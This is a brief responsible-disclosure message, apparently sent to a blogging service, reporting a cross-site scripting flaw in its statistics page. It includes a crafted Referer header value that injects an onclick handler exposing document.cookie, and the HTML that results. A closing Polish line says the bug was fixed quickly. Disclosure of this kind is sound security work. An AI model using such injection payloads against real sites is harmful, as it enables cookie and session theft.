Hello there!
I'm happy to tell, that I just found cross-site scripting bug in your blogger service.
When we put in Referer header something like this:
http://q-x.ath.cx/test'onclick="alert(document.cookie);"
And go to our blog page, our Statistic page will generate this kind of code:
<a target="_blank" href="http://q-x.ath.cx/test" onclick="alert(document.cookie);" '="">http://q-x.ath.cx/test'onclick="alert(document.cookie);"</a>
After clicking - we'll see alert :) You've got some screenshots in attachment.
Waiting for feedback, cheers!
Jakub Żoczek
Błąd oczywiście został błyskawicznie poprawiony.